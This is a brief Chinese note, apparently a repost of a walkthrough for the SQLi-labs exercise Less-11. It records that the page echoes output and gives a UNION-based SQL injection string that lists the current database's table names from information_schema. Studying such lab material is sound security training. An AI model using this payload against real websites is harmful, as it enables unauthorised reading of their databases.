测试发现页面回显
注入语句
hackerzcj‘ union select group_concat(table_name),1 from information_schema.tables where table_schema=database() #
Less-11
原文:https://www.cnblogs.com/hackering/p/14236385.html